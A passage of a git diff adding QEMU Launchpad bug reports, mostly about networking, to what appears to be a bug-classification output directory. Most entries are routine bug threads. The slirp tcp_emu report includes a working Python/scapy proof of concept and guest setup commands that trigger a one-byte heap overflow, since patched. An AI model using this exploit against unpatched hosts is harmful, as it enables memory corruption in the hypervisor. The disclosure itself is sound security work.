networking in QEMU. I'm using port 30067 for the server, so this does not conflict with the built-in DHCP server. + +DHCP broadcasts to and from the server, and I'm observing issues with both sending and receiving packets. + +Firstly, from the VM, a packet sent to IPv4 x.x.x.2:30067 (gateway) makes it to the server, but a packet sent to 255.255.255.255 does not. I'd suspect that Slirp has to support sending to the broadcast IP address? Or is this something I can turn on with a configuration option? (My QEMU version too old?) + +Secondly, the source address in a DHCP IPv4 packet must be 0.0.0.0 (by RFC). That means that any return packet will have 0.0.0.0 swapped in as its destination address. However, that packet doesn't make it into the VM at all. I know that if you deliver this packet to Linux, a raw socket will spit it back out. The packets' destination address should not prevent the packet from being delivered to the right VM, since Slirp (should?) know exactly which VM the session belongs to. (It's a proxy, not a router.) + +WDYT? Did I miss some configuration options or use too old a version? + +Thanks, +Chris + +slirp has been moved to a standalone project, can you report here: +https://gitlab.freedesktop.org/slirp/libslirp/issues + +I don't have an answer off the top of my head, but I would suggest looking/tweaking at the network mask. And for the receive side, debugging from sorecvfrom(). + +Thanks. Opened https://gitlab.freedesktop.org/slirp/libslirp/issues/9. + +The ticket in the libslirp tracker has been closed a year ago, so I think we can close this ticket here, too. + diff --git a/results/classifier/deepseek-1/output/network/1855535 b/results/classifier/deepseek-1/output/network/1855535 new file mode 100644 index 00000000..eba966b1 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1855535 @@ -0,0 +1,59 @@ + +Connection reset by peer when using port fwd + +$ qemu-system-ppc64 -cpu POWER8,compat=power7 -machine pseries -m 8G -smp cores=8 -serial mon:stdio -nographic \ +-drive file=/qemu/aix72.img,if=none,id=drive-virtio-disk0 \ +-device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 \ +-cdrom /qemu/aix72.iso \ +-prom-env boot-command='boot disk:' \ +-name ctsprod -k es \ +-netdev user,id=netdev0,hostfwd=tcp:127.0.0.1:2222-:22 \ +-device virtio-net-pci,netdev=netdev0 \ +-netdev bridge,id=hostnet0,br=virbr0 \ +-device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:96:2f:7a \ +-device virtio-net,netdev=vmnic -netdev tap,id=vmnic,ifname=vnet0,script=no,downscript=no \ +-monitor telnet:127.0.0.1:5801,server,nowait,nodelay + + +$ ssh -p 2222 root@127.0.0.1 -v + +OpenSSH_7.6p1 Ubuntu-4ubuntu0.3, OpenSSL 1.0.2n 7 Dec 2017 +debug1: Reading configuration data /etc/ssh/ssh_config +debug1: /etc/ssh/ssh_config line 19: Applying options for * +debug1: Connecting to 127.0.0.1 [127.0.0.1] port 2222. +debug1: Connection established. +debug1: permanently_set_uid: 0/0 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_rsa type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_rsa-cert type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_dsa type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_dsa-cert type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ecdsa type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ecdsa-cert type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ed25519 type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ed25519-cert type -1 +debug1: Local version string SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 +ssh_exchange_identification: read: Connection reset by peer + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1858415 b/results/classifier/deepseek-1/output/network/1858415 new file mode 100644 index 00000000..f0bc2017 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1858415 @@ -0,0 +1,96 @@ + +in tcp_emu function has OOB bug + +qemu version: 4.1.0 + +```c +int tcp_emu(struct socket *so, struct mbuf *m){ +............ +case EMU_REALAUDIO: +............ + while (bptr < m->m_data + m->m_len) { + case 6: +............ + lport = (((uint8_t *)bptr)[0] << 8) + ((uint8_t *)bptr)[1]; +............ + *(uint8_t *)bptr++ = (p >> 8) & 0xff; + *(uint8_t *)bptr = p & 0xff; +............ + } +............ +............ +} +``` + +bptr)[1] and bptr++ ,may make bptr == m->m_data + m->m_len,and cause OOB（out of bounds.） + +Thanks for your bug report. For future security critical bugs, please follow the steps described on https://wiki.qemu.org/SecurityProcess instead. +For this one, I've forwarded the information to the libslirp project, since the "slirp" code has been moved to a separate project which is no longer part of the QEMU project. They've included a fix here: +https://gitlab.freedesktop.org/slirp/libslirp/commit/2655fffed7a9e765bcb4701dd876e9dab975f289 + +Thanks + +poc: +```python +#!/usr/bin/python3 + +import os +import time +from scapy.all import * + +target_ip = '10.0.2.2' +target_port = 7070 + +def start_tcp(target_ip,target_port,str_to_send): + global sport,s_seq,d_seq + try: + ans = sr1(IP(dst=target_ip)/TCP(dport=target_port,sport=RandShort(),seq=RandInt(),flags=0x2),verbose=False) + sport = ans[TCP].dport + s_seq = ans[TCP].ack + d_seq = ans[TCP].seq+1 + + send(IP(dst=target_ip)/TCP(dport=target_port,sport=sport,ack=d_seq,seq=s_seq,flags=0x10),verbose=False) + + send(IP(dst=target_ip)/TCP(dport=target_port,sport=sport,ack=d_seq,seq=s_seq,flags=0x18)/str_to_send,verbose=False) + print(ans[TCP]) + except Exception as e: + print(e) + +if __name__ == '__main__': + buf = ['R' for n in range(2200)]; + buf_len = len(buf); + + buf[buf_len-10]= chr(0x50) + buf[buf_len-9] = chr(0x4e) + buf[buf_len-8] = chr(0x41) + buf[buf_len-7] = chr(0x00) + buf[buf_len-1] = chr(27) + start_tcp(target_ip,target_port,"".join(buf)) +``` + +In host OS run: + +```shell +nc -l -p 7070 +``` + +In guest OS run: + +```shell +# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.0.2.2 -j DROP # Because we will use Python to construct tcp packets, this will prevent the kernel from sending rst packets. +# ip link set ens3 mtu 3000 # When the sending size is larger than the default mtu packet, the slipr_input function allocates space from the heap, and then we can overflow one byte of the heap space +# ./poc +``` + +This will cause a byte heap overflow. + +Excuse me, can I get a CVE number? + +If you need a CVE number, please send a mail with the bug description to the people listed on https://wiki.qemu.org/SecurityProcess + +thank you very much！ + +This should be fixed with QEMU v5.0. + +libslirp fix included in commit 7769c23774d1, released in QEMU-v5.0.0 + diff --git a/results/classifier/deepseek-1/output/network/1866792 b/results/classifier/deepseek-1/output/network/1866792 new file mode 100644 index 00000000..4698abf9 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1866792 @@ -0,0 +1,79 @@ + +formating vdi-disk over nbd fails + +Hi, +after creating a vdi-image with qemu-vdi and attaching it with qemu-nbd partitioning works fine, but the system hangs up during formating with mkfs.ext4. + +Same procedure with qcow2-image works fine +Tested on Fedora 31 kernel 5.5.7-200.fc31.x86_64 + + +----------------- +#! /bin/sh + +qemu-img create -f qcow2 ~/test.qcow2 32G +#qemu-img version 4.1.1 (qemu-4.1.1-1.fc31) + +modprobe nbd max_part=8 +qemu-nbd --connect=/dev/nbd2 ~/test.qcow2 +#qemu-nbd 4.1.1 (qemu-4.1.1-1.fc31) + +parted -s /dev/nbd2 "mklabel gpt" +parted -s -a optimal /dev/nbd2 "mkpart test ext4 2048 32G " +parted -s -a optimal /dev/nbd2 "p" + +mkfs.ext4 /dev/nbd2p1 +#Format hangs up due to IO errors. +#Tested on Fedora 31, kernel 5.5.7-200.fc31.x86_64 + +mkdir /mnt/test_qcow2 + +mount /dev/nbd2p1 /mnt/test_qcow2 +df -H + +------------------- +#! /bin/sh + +qemu-img create -f vdi ~/test.vdi 32G + +modprobe nbd max_part=8 +qemu-nbd --connect=/dev/nbd4 ~/test.vdi + +parted -s /dev/nbd4 "mklabel gpt" +parted -s -a optimal /dev/nbd4 "mkpart test ext4 2048 32G " +parted -s -a optimal /dev/nbd4 "p" + +mkfs.ext4 /dev/nbd4p1 +#Format hangs up due to IO errors +#Tested on Fedora 31 kernel 5.5.7-200.fc31.x86_64 + +mkdir /mnt/test_vdi + +mount /dev/nbd4p1 /mnt/test_vdi +df -H +---------------------- + + +Kind regards + Eilert + +PS.: There may be a connection to this bug: + +#1661758 qemu-nbd causes data corruption in VDI-format disk images + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1920871 b/results/classifier/deepseek-1/output/network/1920871 new file mode 100644 index 00000000..91ed0237 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1920871 @@ -0,0 +1,85 @@ + +netperf UDP_STREAM high packet loss on QEMU tap network + +Hi, I boot a guest with "-netdev tap,id=hn0,vhost=off,br=br0,helper=/usr/local/libexec/qemu-bridge-helper" network option, and using "netperf -H IP -t UDP_STREAM" to test guest UDP performance, I got the following output: + +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 65507 10.00 144710 0 7583.56 +212992 10.00 32 1.68 + +We can find most of UDP packets are lost. But I test another host machine or use "-netdev usr,xxxxx". I can got: +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 65507 10.00 18351 0 961.61 +212992 10.00 18350 961.56 + +most of UDP packets are recived. + +And If we check the tap qemu used, we can see: +ifconfig tap0 +tap0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500 + inet6 fe80::ecc6:21ff:fe6f:b174 prefixlen 64 scopeid 0x20<link> + ether ee:c6:21:6f:b1:74 txqueuelen 1000 (Ethernet) + RX packets 282 bytes 30097 (29.3 KiB) + RX errors 0 dropped 0 overruns 0 frame 0 + TX packets 9086214 bytes 12731596673 (11.8 GiB) + TX errors 0 dropped 16349024 overruns 0 carrier 0 collisions 0 +lots of TX packets are dropped. + +list other packet size: + +➜ boot netperf -H 192.168.199.200 -t UDP_STREAM -- -m 1 +MIGRATED UDP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.199.200 () port 0 AF_INET +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 1 10.00 2297941 0 1.84 +212992 10.00 1462024 1.17 + +➜ boot netperf -H 192.168.199.200 -t UDP_STREAM -- -m 128 +MIGRATED UDP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.199.200 () port 0 AF_INET +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 128 10.00 2311547 0 236.70 +212992 10.00 1359834 139.25 + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1922102 b/results/classifier/deepseek-1/output/network/1922102 new file mode 100644 index 00000000..3e4cde59 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1922102 @@ -0,0 +1,83 @@ + +Broken tap networking on macOS host + +Building QEMU with GLib newer than 2.58.3 corrupts tap networking. +Tap device was provided by Tun/Tap kernel extension installed from brew: + brew install tuntap + +Checked revisions: + 553032d (v5.2.0) + 6d40ce0 (v6.0.0-rc1) + +Host: + MacBook Pro (Retina, 15-inch, Mid 2015) + macOS Catalina 10.15.6 (19G2021) + +Guest: + Linux Ubuntu 4.4.0-206-generic x86_64 + Also tested macOS Catalina 10.15.7 as a guest, the behaviour is the same. + +QEMU command line: + +qemu-system-x86_64 \ + -drive file=hdd.qcow2,if=virtio,format=qcow2 \ + -m 3G \ + -nic tap,script=tap-up.sh + +tap-up.sh: + + #!/bin/sh + + TAPDEV="$1" + BRIDGEDEV="bridge0" + + ifconfig "$BRIDGEDEV" addm "$TAPDEV" + +Enabling/disabling Hypervisor.Framework acceleration (`-accel hvf`) has no effect. + +How to reproduce: + 1. Build & install GLib > 2.58.3 (tested 2.60.7, 2.60.7) + 2. Build qemu-system-x86_64 with GLib > 2.58.3 + 3. Boot any guest any guest with tap networking enabled + 4. See that the external network is inaccessible + +Hotfix: + 1. Build & install GLib 2.58.3 + 2. Build qemu-system-x86_64 with GLib 2.58.3 + 3. Boot any guest with tap networking enabled + 4. See that the external network is accessible, everything is working as expected + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +Ticket has been moved here (thanks, Vladislav!): +https://gitlab.com/qemu-project/qemu/-/issues/335 +... thus I'm closing this on Launchpad now. + diff --git a/results/classifier/deepseek-1/output/network/1926497 b/results/classifier/deepseek-1/output/network/1926497 new file mode 100644 index 00000000..055fd3e5 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1926497 @@ -0,0 +1,129 @@ + +dp83932 stops working after a short while + +Following the instructions here https://wiki.qemu.org/Documentation/Platforms/m68k I was able to successfully install debian. However, running apt-get update stalls after the first 1-2MB. + +root@debian:~# apt-get update +Get:1 http://ftp.ports.debian.org/debian-ports sid InRelease [55.3 kB] +Ign:1 http://ftp.ports.debian.org/debian-ports sid InRelease +Get:2 http://ftp.ports.debian.org/debian-ports sid/main all Packages [8,735 kB] +18% [2 Packages 2,155 kB/8,735 kB 25%] + +After running apt-get update. I don't seem to be able to send any packets anymore. ping host lookups fail and a subsequent apt-get update makes no progress. + +I'm launching qemu with: + + qemu-system-m68k -boot c \ + -M q800 -serial none -serial mon:stdio -m 1000M \ + -net nic,model=dp83932 -net user \ + -append "root=/dev/sda2 rw console=ttyS0 console=tty" \ + -kernel vmlinux-4.16.0-1-m68k \ + -initrd initrd.img-4.16.0-1-m68k \ + -drive file=m68k-deb10.qcow2,format=qcow2 \ + -nographic + +I see this with qemu v6.0.0-rc5 + +I also see the same problem with version 4.2.1 + +I think you must use a more recent kernel because some bugs have been fixed in QEMU and kernel that need both of them in sync. + +Could you extract the kernel from your m68k disk image to use it with QEMU "-kernel" and "-initrd" parameters? + +The kernel in my m68k disk image is vmlinux-4.16.0-1-m68k which is presumably what comes from https://cdimage.debian.org/cdimage/ports/10.0/m68k/iso-cd/debian-10.0-m68k-NETINST-1.iso. Is there a debian image that uses a newer kernel? + +It looks like using https://cdimage.debian.org/cdimage/ports/snapshots/2021-04-17/debian-10.0.0-m68k-NETINST-1.iso instead fixes the issue. Perhaps the instruction on https://wiki.qemu.org/Documentation/Platforms/m68k should be updated. + +On Wed, Apr 28, 2021 at 11:31 PM Jeff <email address hidden> wrote: +> +> It looks like using +> https://cdimage.debian.org/cdimage/ports/snapshots/2021-04-17/debian-10.0.0 +> -m68k-NETINST-1.iso instead fixes the issue. Perhaps the instruction on +> https://wiki.qemu.org/Documentation/Platforms/m68k should be updated. +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1926497 +> +> Title: +> dp83932 stops working after a short while +> +> Status in QEMU: +> New +> +> Bug description: +> Following the instructions here +> https://wiki.qemu.org/Documentation/Platforms/m68k I was able to +> successfully install debian. However, running apt-get update stalls +> after the first 1-2MB. +> +> root@debian:~# apt-get update +> Get:1 http://ftp.ports.debian.org/debian-ports sid InRelease [55.3 kB] +> Ign:1 http://ftp.ports.debian.org/debian-ports sid InRelease +> Get:2 http://ftp.ports.debian.org/debian-ports sid/main all Packages [8,735 kB] +> 18% [2 Packages 2,155 kB/8,735 kB 25%] +> +> After running apt-get update. I don't seem to be able to send any +> packets anymore. ping host lookups fail and a subsequent apt-get +> update makes no progress. +> +> I'm launching qemu with: +> +> qemu-system-m68k -boot c \ +> -M q800 -serial none -serial mon:stdio -m 1000M \ +> -net nic,model=dp83932 -net user \ +> -append "root=/dev/sda2 rw console=ttyS0 console=tty" \ +> -kernel vmlinux-4.16.0-1-m68k \ +> -initrd initrd.img-4.16.0-1-m68k \ +> -drive file=m68k-deb10.qcow2,format=qcow2 \ +> -nographic +> +> I see this with qemu v6.0.0-rc5 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1926497/+subscriptions + +I've updated the page to include: + +Please note that the instructions below use kernel versions that might +have been superseded by newer ones on the most recent installation cd +images! Also, during installation on hard disk image the update +process might install a newer kernel. Always make sure to extract the +latest kernel and initrd.gz from your hard disk image after +installation or update and replace the kernel names in the examples +below with what is currently installed. + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/485258 b/results/classifier/deepseek-1/output/network/485258 new file mode 100644 index 00000000..29138e12 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/485258 @@ -0,0 +1,36 @@ + +64-bit win2003r2 with sp2 64-bit with network type rtl8139 generates blue screen after running network test + +64-bit win2003r2 with sp2 64-bit with network type rtl8139 generates blue screen after running network test + +Steps to recreate: +1) install qemu frm git clone git://git.savannah.nongnu.org/qemu.git + +2)Download Soap Stone Benchmark(http://soap-stone.sourceforge.net/) and IBM java 1.4 for windows + +3)use win2k3r2sp2 64-bit as the server and win2k3r2sp2 32-bit as client (this bug does not occur when win2k3r2sp2 64-bit is the client) + +4) Running the test will reset the network interface on the server(win2k3r2sp264bit). + +5)Then shutdown the server(win2k3r2sp2 64bit), which will generate a blue screen. + + +Qemu cmd line used: +/usr/local/bin/qemu-system-x86_e 'vm1' -drive file=win2003r2-64.raw,boot=on -net nic,vlan=0,macaddr=20:20:20:00:00:01,model=rtl8139 -net tap,vlan=0,script=/home/yogi/qemu-ifup -m 10240 -usbdevice tablet -vnc :0 -enable-kvm + +uname -a +Linux bc1cn9 2.6.30.9-96.fc11.x86_64 #1 SMP Wed Nov 4 00:02:04 EST 2009 x86_64 x86_64 x86_64 GNU/Linux + +Distro: fedora 11 + +I have attached the generated Blue Screen.. + +Thx +yogi + + + +Can you still reproduce this problem with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/562107 b/results/classifier/deepseek-1/output/network/562107 new file mode 100644 index 00000000..355a725f --- /dev/null +++ b/results/classifier/deepseek-1/output/network/562107 @@ -0,0 +1,31 @@ + +QEmu GDB stub uses IPv6 instead of v4 (or both) + +This bug has been reported by several people already. + +See http://migeel.sk/blog/2009/04/21/gdb-and-qemu-on-windows/ +and http://qemu-forum.ipi.fi/viewtopic.php?f=5&t=5579&p=16248&hilit=gdb+ipv6#p16248 + + +Seems like a very easy fix. + +Regards, +Matthijs ter Woord + +There is an alternative way to force gdbserver to use ipv4 instead ipv6 without changing the source code. + +Use this command: + +c:\>qemu -S -gdb tcp::1234,ipv4 <...other parameters> + +Works for me until there is a bugfix for this. + +Thanks. + +I have a patch for this... + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/588731 b/results/classifier/deepseek-1/output/network/588731 new file mode 100644 index 00000000..8aa84489 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/588731 @@ -0,0 +1,155 @@ + +PXE boot not working + +/root/qemu-test/qemu-kvm/x86_64-softmmu/qemu-system-x86_64 -net tap,vlan=0,name=tap.0 -boot n -net nic,macaddr=$MAC,vlan=0,model=e1000,name=e1000.0 -chardev socket,id=monitor,host=0.0.0.0,port=$MONITORPORT,telnet,server,nowait -monitor chardev:monitor + + + +net0: 02:5a:3b:27:00:a1 on PCI00:03.0 (open) + [Link:up, TX:0 TXE:0 RX:0 RXE:0] + DHCP (net0 02:5a:3b:27:00:a1)................ Connection timed out (0x4c106035) + No more network devices + +No bootable device. + + + +After doing a system_reset .... + +net0: 02:5a:3b:27:00:a1 on PCI00:03.0 (open) + [Link:up, TX:0 TXE:0 RX:0 RXE:0] +DHCP (net0 02:5a:3b:27:00:a1).... ok +net0: 10.201.1.161/255.0.0.0 gw 10.0.0.1 +Booting from filename "boot.pxe" +tftp://x.x.x./boot.pxe.. ok + + +And it magaically works. + +using HEAD. + +I can't reproduce this. I'm using: + +commit d9b73e47a3d596c5b33802597ec5bd91ef3348e2 +Author: Corentin Chary <email address hidden> +Date: Tue Jun 1 23:05:44 2010 +0200 + + vnc: add missing target for vnc-encodings-*.o + +I'm using the command: + +sudo x86_64-softmmu/qemu-system-x86_64 -net tap,vlan=0,name=tap.0 -boot n -net nic,vlan=0,model=e1000,name=e1000.0 -chardev socket,id=monitor,host=0.0.0.0,port=1024,telnet,server,nowait -monitor chardev:monitor + +The DHCP server I'm using is dnsmasq and it pxe boots as expected. I've also confirmed that pxe boot is still functional after a system_reset. + +Please include information about the exact version of qemu that you are using and the DHCP server that is configured on your network. Please also try to reproduce with the latest git. + +using latest git + +dhcp-3.0.1-58.EL4 + +with configuration: + + host xxxx { filename "boot.pxe"; hardware ethernet 02:5A:3B:27:00:A1; fixed-address 10.201.1.161; } + +# +## server config +# +server-identifier a.b.c.d; +server-name "some-name"; +default-lease-time 600; +max-lease-time 1200; +ddns-update-style ad-hoc; +#log-facility local6; + +allow booting; +allow bootp; + + + +Latest GIT -> git clone http://git.kernel.org/pub/scm/virt/kvm/qemu-kvm.git + +configured with options + + +./configure --target-list=x86_64-softmmu --enable-gprof --enable-debug --enable-linux-aio --enable-profiler --with-kvm-trace + +Install prefix /usr/local +BIOS directory /usr/local/share/qemu +binary directory /usr/local/bin +Manual directory /usr/local/share/man +ELF interp prefix /usr/gnemul/qemu-%M +Source path /root/qemu-test/qemu-kvm +C compiler gcc +Host C compiler gcc +CFLAGS -g +QEMU_CFLAGS -Werror -m64 -fstack-protector-all -Wold-style-definition -Wold-style-declaration -I. -I$(SRC_PATH) -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -W +strict-prototypes -Wredundant-decls -Wall -Wundef -Wendif-labels -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing +LDFLAGS -Wl,--warn-common -m64 -g +make make +install install +host CPU x86_64 +host big endian no +target list x86_64-softmmu +tcg debug enabled yes +Mon debug enabled yes +gprof enabled yes +sparse enabled no +strip binaries no +profiler yes +static build no +-Werror enabled yes +SDL support yes +curses support yes +curl support yes +check support no +mingw32 support no +Audio drivers oss +Extra audio cards ac97 es1370 sb16 +Block whitelist +Mixer emulation no +VNC TLS support yes +VNC SASL support yes +xen support no +CPU emulation yes +brlapi support no +bluez support no +Documentation yes +NPTL support yes +GUEST_BASE yes +PIE user targets no +vde support no +IO thread no +Linux AIO support yes +Install blobs yes +KVM support yes +KVM PIT support yes +KVM device assig. yes +KVM trace support yes +fdt support no +preadv support yes +fdatasync yes +uuid support yes +vhost-net support yes + + + +The same to me, but rarely it does start only from third attempt + +There seems to be an issue with kvm virtual network interface being connected to a in-kernel bridge implementation. + +When you configure networking that way the bridge port comes up when the kvm instance is started. + +As the time from the kvm start to entering the netboot rom is minimal and the timeout before the bridge starts forwarding on new ports is long this may cause the machine never getting an address. + +If you are using a bridge try setting the forwarding delay to a small value like: + +iface vmbridge inet static + bridge_ports <probably should put some network interface name here - undocumented> + address 10.10.10.1 + netmask 255.255.255.0 + post-up brctl setfd vmbridge 3 + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/838974 b/results/classifier/deepseek-1/output/network/838974 new file mode 100644 index 00000000..a5e61584 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/838974 @@ -0,0 +1,15 @@ + +Confusing error report for missing vde support + +The error that appears in qemu 0.15 is "parameter 'type' expects a network client type" when trying to use vde for networking as if the parameter is wrong, but the problem is that the executable was compiled without vde support. + +Thanks for reporting this bug. + +That certainly could be confusing. However, practically speaking, since qemu was compiled without that support, it becomes more difficult for qemu to tell the difference between a unsupported but otherwise-valid type, and an invalid type. + +Perhaps upstream would accept a (trivial) patch changing the message to always say "expects a valid network client type". Even more helpful would be for that message to be followed by a list of valid, supported network types. + +I think this has been fixed by this commit here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=d139e9a6cf01b8c31f59 +... so closing this ticket now. + diff --git a/results/classifier/deepseek-1/output/network/938945 b/results/classifier/deepseek-1/output/network/938945 new file mode 100644 index 00000000..4263d995 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/938945 @@ -0,0 +1,29 @@ + +Slirp cannot be forward and makes segmentation faults + +Hi, + +Let's consider the following lines: + +$ qemu -enable-kvm -name opeth -hda debian1.img -k fr -localtime -m 512 -net user,vlan=0 -net nic,vlan=0,model=$model,macaddr=a2:00:00:00:00:10 -net socket,vlan=1,listen=127.0.0.1:5900 -net nic,vlan=1,model=$model,macaddr=a2:00:00:00:00:04 + +$qemu -enable-kvm -name nightwish -hda debian2.img -k fr -localtime -m 512 -net socket,vlan=0,connect=127.0.0.1:5900 -net nic,vlan=0,model=$model,macaddr=a2:00:00:00:00:02 + + +My configuration is clear and allows to transmit packets between the Slirp and the guest nightwish. +But when I try to do on nightwish : + +$ wget www.qemu.org + +The opeth QEMU makes a segfault : "11586 Segmentation Fault" + +This phenomenon is not always present... If the Segfault does not appear, nightwish cannot enable a connection with internet :( + + +Thanks +Vince + +Which version of QEMU did you use? Can you still reproduce this issue with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/984476 b/results/classifier/deepseek-1/output/network/984476 new file mode 100644 index 00000000..74e92127 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/984476 @@ -0,0 +1,15 @@ + +"segmentaion" error when DMAing + +When working with QEMU's PCI network card E1000 emulator, I accidentally put virtual addresses into the memory mapped registers when I should have put physical addresses. Short story is, the address was too large for the physical address space so when the network card tried to DMA the location it tossed a "segmentaion" error out to the console. That's right--not a "segmentation" error, but a "segmentaion" error. I just thought I'd let ya'll know about that little typo. + +My "qemu -version" gives "QEMU emulator version 0.15.0, Copyright (c) 2003-2008 Fabrice Bellard" on linux version 2.6.32. I guess it might be an older version, dunno if the typo's still there. + +Was it "TCP segmentaion Error"? Then it is still there. + +Thanks for reporting. It will be fixed in latest QEMU. + +Yeah it was. Sorry, should have specified. Thanks! + +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=362f5fb5643a9cfcf4b5127f + diff --git a/results/classifier/deepseek-1/output/operation./990364 b/results/classifier/deepseek-1/output/operation./990364 new file mode 100644 index 00000000..ada0fecd --- /dev/null +++ b/results/classifier/deepseek-1/output/operation./990364 @@ -0,0 +1,431 @@ + +virtio_ioport_write: unexpected address 0x13 value 0x1 + +Hello! I have: + +virtio_ioport_write: unexpected address 0x13 value 0x1 + +on config: + +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -cpu qemu32 -enable-kvm -m 